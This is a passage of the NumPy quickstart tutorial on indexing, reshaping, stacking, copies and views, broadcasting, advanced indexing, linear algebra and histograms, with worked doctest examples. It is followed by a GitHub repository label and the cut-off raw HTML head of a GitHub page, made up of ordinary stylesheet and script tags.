1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
GitHub Repo
https://github.com/chikitang/A
chikitang/A
!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOOnE+FFXf+yNfVjKSlEckJAdufFIYGK7ZjRhWcZgzAGcmZqqArTgMLpu90FwthqcCX4ldDgKXbmVMeuQ==" rel="stylesheet" href="https://github.githubassets.com/assets/light-92c7d381038e.css" /><link crossorigin="anonymous" media="all" integrity="sha512-1KkMNn8M/al/dtzBLupRwkIOgnA9MWkm8oxS+solP87jByEvY/g4BmoxLihRogKcX1obPnf4Yp7dI0ZTWO+ljg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-d4a90c367f0c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-cZa7DZqvMBwD236uzEunO/G1dvw8/QftyT2UtLWKQFEy0z0eq0R5WPwqVME+3NSZG1YaLJAaIqtU+m0zWf/6SQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-7196bb0d9aaf.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-WVoKqJ4y1nLsdNH4RkRT5qrM9+n9RFe1RHSiTnQkBf5TSZkJEc9GpLpTIS7T15EQaUQBJ8BwmKvwFPVqfpTEIQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-595a0aa89e32.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-XpAMBMSRZ6RTXgepS8LjKiOeNK3BilRbv8qEiA/M3m+Q4GoqxtHedOI5BAZRikCzfBL4KWYvVzYZSZ8Gp/UnUg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-5e900c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-3HF2HZ4LgEIQm77yOzoeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65jN9TNciHEVSYebQ+8xxEw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-dc71761d9e0b.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-+J8j3T0kbK9/sL3zbkCfPtgYcRD4qQfRbT6xnfOrOTjvz4zhr0M7AXPuE642PpaxGhHs1t77cTtieW9hI2K6Gw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-f89f23dd3d24.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-AQeAx5wHQAXNf0DmkvVlHYwA3f6BkxunWTI0GGaRN57GqD+H9tW8RKIKlopLS0qGaC54seFsPc601GDlqIuuHg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-010780c79c07.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-+u5pmgAE0T03d/yI6Ha0NWwz6Pk0W6S6WEfIt8veDVdK8NTjcMbZmQB9XUCkDlrBoAKkABva8HuGJ+SzEpV1Uw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-faee699a0004.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EAhBCLIJ/pXHG3Y6yQhs9s53SHV80sjJ+yCwlQtfv7LaVkD+VoEuZBZ5betQJFUNj/5qBSfZk5GFtazEDzWLAg==" rel="stylesheet" href="https://github.githubassets.com/assets/primer-10084108b209.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-j4LlGsvrPJxvY8+OWTjZfxsE5dNUiTsSjDrRiYJN24hZSD0fRrKZKtHnFIt1HSPGvNd1XAXX4UWQu+7n30g2KQ==" rel="stylesheet" href="https://github.githubassets.com/assets/global-8f82e51acbeb.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ws/OpUoggF9K9ooMit55m3zLZc0tylad06U0PD2d0mPaGrdyGa+YTIAGxvVPrke4PWfw/1hdyplewI0dG5RMqw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c2cfcea54a20.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EU4iyx/yvfUFbgkpn4fpfcGLGdCO/MAsSFcvCXZ2Z2EW37nQnDHPgt/cXbfA0Tro59XCXEOAzXxFKLLkIuetnw==" rel="stylesheet" href="https://github.githubassets.com/assets/profile-114e22cb1ff2.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-/QgkqjzVefOR3Tj2b+frbSHSVAOEXToMLNi27AqI0et2R/r9L6h5gKl9tEbPuN2sV41z3bAkC0YbPhQSDjak+A==" src="https://github.githubassets.com/assets/runtime-fd0824aa3cd5.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-X+8lM1ka/+ZD419IfxRmavutulfxSofkt+qmxoFdfa0Zp6fBjTUoNaJeZfEK1YdE6ibpcZz/HaOVu2FnHGJ7DA==" src="https://github.githubassets.com/assets/environment-5fef2533591a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==" src="https://github.githubassets.com/assets/vendors-node_modules_selector-observer_dist_index_esm_js-8a8fb532f817.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-12cdb93781b2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-lmiecOIgf+hakg5oKMNM7grVhEDyPoIrT39Px448JJH5PSAaK21PH0Twgyz5O5oi8+dnlLr3Jt8bBCtAcpNdRw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-96689e70e220.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-y67eNkVaNK4RguUGcHOvIbHFlgf1Qje+LDdjVw2eFuuvBOqta2GePz/CwoLIR/PJhhRAj5RPGxCWoomnimSw6w==" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js-cbaede36455a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-6ehrOOu5AOQD8/Lw6TgTsdkj9odsrpi0xWo0vkH3wBR3vIw/Bj/Rxw9wZMfw2qVzdqqF/pCiaJ5f0A/P6HtGrw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-e9e86b38ebb9.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-l//8hwOiwPAmBg0NwsWUYovdQ7/r9kPHiD9/LL4fD3M7El8gbgaOYU5+o6cYLB6puSfOTxyN9M6fE38HSDr2Bw==" src="https://github.githubassets.com/assets/github-elements-97fffc8703a2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-RVfrK7GqzKgqgrdk4OZy+0LLxAMJ1odMQC1/Qt7SpwSHjE9s4R0/09fu5QvzcQ6XdNZMjJ1Wy8Cr6wL3Q+HCcQ==" src="https://github.githubassets.com/assets/element-registry-4557eb2bb1aa.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-LWSGAMIPWi+15W2gBjmxbtVqU0DamkrNOQylAjPL8509iKnuWgSLdjylDv3WWm/9p6h2U/D//3i6BiiGFZPXJA==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-2d648600c20f.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-0r1nf/rfPz54kyePp4f63bcPxkFo7wyaUZJD/SwIVDK3q0WzurAK9ydOm88tzKtPJm8xWI0Vo25NyCfecwxJ9g==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd-d2bd677ffadf.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-VK56d0N1hPZ20mOzPoy84zlTGCjGbKKmVvfjoyDqSF+VxTD4f6X8QDs2RgG1R1cdBmsCiea+ZxP6ukV3tHlD+Q==" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-54ae7a774375.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-318SWYQMEUmWdOuBzC1KdeVyyq5RDCiMNGP7Jh9s/Oz68Yy8e94t8qKxiCnfFKnzfpN3MxrATi7jCQyDv6jh0w==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_pjax_ts-df5f1259840c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-2hsYB2KHyayxUJJxJGhXeTeTZZG2c7lzRtO0uB1txmpc7rfvIt4mf0iossT0MHIHknYlaslgi98jmmlVXcXaZQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-da1b18076287.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" 